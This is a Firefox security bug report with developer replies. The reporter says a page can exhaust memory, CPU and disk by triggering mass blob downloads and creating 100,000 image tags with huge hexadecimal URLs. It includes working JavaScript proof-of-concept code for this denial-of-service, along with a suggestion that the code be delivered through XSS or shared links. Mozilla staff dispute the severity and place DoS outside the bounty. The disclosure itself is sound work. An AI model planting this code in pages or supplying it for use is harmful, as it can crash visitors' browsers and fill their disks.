1826471 - DoS and hard disk space exhaustion caused by multiple defects

Status: NEW

(Firefox :: Security, defect)

Description

[faarari100]

Attachment: image.rar

Summary

The browser does not confirm whether the user agrees to download multiple files when downloading multiple files.
Attackers can design malicious code, use blob to make files, and at the same time use loop functions to create many very long URLs to embed in web pages.
This can cause memory to run out and downloaded files to take up hard drive space. When memory and hard disk space are exhausted, users' browser and computer will crash.

Firefox version

111.0.1 (64-bit)

Operating system version

Windows 11 22H2

Steps to reproduce

1. The following code will download a file with the file name PoC

var text = 'PoC'
var link = document.createElement("a");
var file = new Blob([text], { type: 'text/plain' });
link.href = URL.createObjectURL(file);
link.download = "PoC";

2. This will download 100000 files without confirmation.

for (i = 0; i < 100000; i++) {
   var text = 'PoC'
   var link = document.createElement("a");
   var file = new Blob([text], { type: 'text/plain' });
   link.href = URL.createObjectURL(file);
   link.download = "PoC";
}

3. The following code will generate a very long set of strings.

var text = ''
for (i = 0; i < 0xfffff; i++) {
   text += 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
}

4. This will generate 100000 image tags, and the URL format uses the IP address in DWORD format.

for (i = 0; i < 100000; i++) {
   var img = document.createElement("img");
   img.src = 'http://0x' + text
}

5. At this time, I checked the Process Manager of the browser and the Task Manager of Windows, and found that the memory was exhausted.

6. If the above codes are integrated and then rewritten, the CPU, memory, and hard disk space will be exhausted at the same time. Cause system crash, and because there is no hard disk space available, the system's event log will be incomplete.

var text = ''
for (i = 0; i < 0xfffff; i++) {
   text += 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
}

var link = document.createElement("a");
var file = new Blob([text], { type: 'text/plain' });
link.href = URL.createObjectURL(file);
link.download = "PoC";

var a = [];
for (i = 0; i < 100000; i++) {
   a.push('');
}
a.forEach(() => {
   var img = document.createElement("img");
   img.src = 'http://0x' + text
   link.click();
})

7. The computer will become slower and slower, and the user will not be able to interrupt this malicious activity.

8. Tested with other browsers and could not reproduce this issue.

Comment 1

[:Gijs (he/him)]

Please don't attach rar files. Can you just attach files directly to the report?

The download part of this is bug 1711049.

I would expect closing the tab to end all of this activity. Is this not the case?

Comment 2

[faarari100]

Sorry, I will re-upload the attachment.

This report differs from bug 1711049 in that downloading a file is only one of the exploits. The main problem is causing hard drive space and memory exhausted.

Executing the code in steps 3 and 4 can cause the browser and the user's system to crash.

Comment 3

[faarari100]

Attachment: 44F6080B-5193-4901-9B03-4BE28CC080B8.jpeg

Comment 4

[faarari100]

Attachment: 3B05806E-788B-42CF-8DDA-A69B03BE7A92.jpeg

Comment 5

[faarari100]

Attachment: C5439E73-22B3-499C-A080-37D1C2DA2AE5.jpeg

Comment 6

[faarari100]

Attachment: 1566FF0C-8765-48B7-B487-9A61EEA9BD24.jpeg

Comment 7

[faarari100]

Attachment: 87CFAB12-B975-4414-8798-728375392417.jpeg

Comment 8

[faarari100]

Attachment: C2A3AE05-E37B-4715-81A1-A84EC61B0E48.jpeg

Comment 9

[faarari100]

Attachment: 864C2DA3-2386-479A-A4AD-B30BA0BA3F8B.jpeg

Comment 10

[faarari100]

Attachment: EA5B7658-7CAE-483A-B662-9BFD6C3F3100.jpeg

Comment 11

[faarari100]

Attachment: 2B598737-4E5E-44B6-8F68-282C59E50F34.jpeg

Comment 12

[faarari100]

Attachment: 836A781E-04A1-4C19-968D-E2302E6F1F63.jpeg

Comment 13

[faarari100]

Attachment: 6D5F1574-913E-451C-B922-DD8C0330D852.jpeg

Comment 14

[faarari100]

Attachment: D96B5E53-6127-4ACC-9D07-07941ABE7C4E.jpeg

Comment 15

[Andrew McCreight [:mccr8]]

(In reply to faarari100 from comment #2)

Executing the code in steps 3 and 4 can cause the browser and the user's system to crash.

We don't consider test cases like this that create a bunch of junk in the web page to really be DoS issues. It should just cause the content process for the web page to use a lot of memory and CPU. Eventually that process will crash, but that shouldn't take down the entire browser. The browser UI should also remain fairly responsive the entire time. With process separation by origin, which we have on desktop, you can't even really interfere with web pages on origins.

Comment 16

[faarari100]

Regarding the problem of causing the entire browser to close, it did occur when I was testing. This isn't just a single page crash, it slows down your entire browser and computer while loading a page containing the above code and eventually shuts down your entire browser.

I recorded a video during the test, but because the video file is too large, I had to extract a few pictures from the video. I don't know how to show the complete problem since the picture doesn't highlight the moment the browser closes and the computer slows down.
(Because the computer is getting too slow, I use the camera to record instead of screen recording.)

Of course, the code described above is just a concept. In fact, other writing methods can be used to let the garbage content occupy CPU, memory and hard disk space.

Attacker can use XSS to hide code in web page, or distribute web page links containing codes for users to visit. Regardless of the method used, whenever a user visits a web page, a large number of files are downloaded, causing the entire web page to be corrupted and the browser and computer to crash.

Comment 17

[BugBot [:suhaib / :marco/ :calixte]]

The severity field is not set for this bug.
:serg, could you have a look please?

For more information, please visit auto_nag documentation.

Comment 18

[Daniel Veditz [:dveditz]]

Unfortunately DOS bugs are outside the scope of our bug bounty program